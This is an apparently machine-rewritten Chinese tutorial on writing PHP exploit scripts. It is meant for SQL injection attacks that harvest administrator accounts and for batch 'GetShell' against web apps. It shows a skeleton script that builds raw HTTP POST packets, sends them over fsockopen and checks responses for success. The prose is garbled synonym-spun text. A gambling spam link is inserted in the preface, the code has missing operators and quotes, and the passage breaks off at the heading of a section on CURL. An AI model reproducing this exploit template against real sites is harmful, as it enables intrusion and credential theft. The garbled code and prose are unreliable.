0 01 前言
无常规破绽时期的到来,使得市道上泛亚娱乐|http://yuan01.bc88.info/fei/许多风行的注入测试工具都无奈胜任那些十分规的注入点,而脚本的机动性可以很便利对这些非惯例的注入点进行测试,最常见的运用莫过于通过脚本进行HTTP包的转发,配合注入测试工具进行注入的了。而今天想探讨的主要是PHP版的Exp的编写,直接通过脚原来到达注入或者批量GetShell的目标.
0 02 PHP的WinSock函数
PHP的强盛和易用性不必多说,他的扩大库已经把Winsock的相干函数已经封装好了。咱们常用的重要有fsockopen,fwrite,fgets,fgetss,fclose,feof等.而通常Exp良多时候都是通过注入来获取治理员的账户,所以可以大抵形象出一个流程如下:
1. 输出Usage等信息
2. 构造数据包
3. 轮回发包
4. 得到结果判定并输出
这里直接用代码谈话吧.
PHP code
php
//脚本超时跟报错能够根据本人的需要来更改
error_reporting(E_ERROR);
set_time_limit(0);
//输出版权信息,可有可无
print_r('
XXXXXXX SQL injection
xxxxxxx exploit
BY xxxxxx
');
//通常Exp都应用命令行下输入来接受参数
if ($argc 3) {
//$argc表现接收参数的长度,通常都是三个。$argv数组则是存储的参数的值,$argv.0.第一个元素指自身文件名。
print_r('
Usage: php '.$argv.0..' host path
host: target server (ip/hostname),without
path: path to phpcms
Example:
php '.$argv.0..' localhost /
');
die;
}
//参数获取赋值,也是依据须要自行修正的.
$host$argv.1.;
$path$argv.2.;
$html ;
//结构数据包
$cookie ;
$agent UserAgent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 ;
$content ;
//注入发包的方法,有时候是GET,有时候是POST哦.
$data POST /xxxxxx/bug.phpaid1 HTTP/1.1\r\n ;
$data . Host: .$host. \r\n ;
//$data . Cookie: .$cookie. \r\n ;
$data . UserAgent: .$agent. \r\n ;
$data . Accept: text/html,application/xhtml+xml,application/xml;q0.9,./.;q0.8\r\n ;
$data . AcceptLanguage: zhcn,zh;q0.5\r\n ;
//$data . AcceptEncoding: gzip,deflate\r\n ;
//某些网站可能开启了Gzip紧缩,详细可以在测试的时候通过抓包工具来获取,如Live Http.
$data . AcceptCharset: GB2312,utf8;q0.7,.;q0.7\r\n ;
$data . Connection: keepalive\r\n ;
$data . ContentType: application/xwwwformurlencoded\r\n ;
$data . ContentLength: .strlen($content). \r\n\r\n ;
$data . $content. \r\n ;
//发包
Sendpack($data);
//所有的返回结果会存在$html变量中,都是一些字符串,这时候施展设想用正则或者是字符串断定函数来得到成果
if (!eregi( created_time ,$html)){
echo $packet. \r\n ;
echo $html. \r\n ;
die( Exploit failed );
}else{
$pattern ;
preg_match($pattern,$html,$pg);
//$html
//查找之后对$html的一些判断 ..
echo \r\nExploit succeeded \r\n ;
}
//封装发包函数www.stuhack.
Function sendpack ($packet)
{
global $host, $html;
$ockfsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html'';
while (!feof($ock)) {
$html.fgets($ock);
}
fclose($ock);
}
0 03 CURL库的利用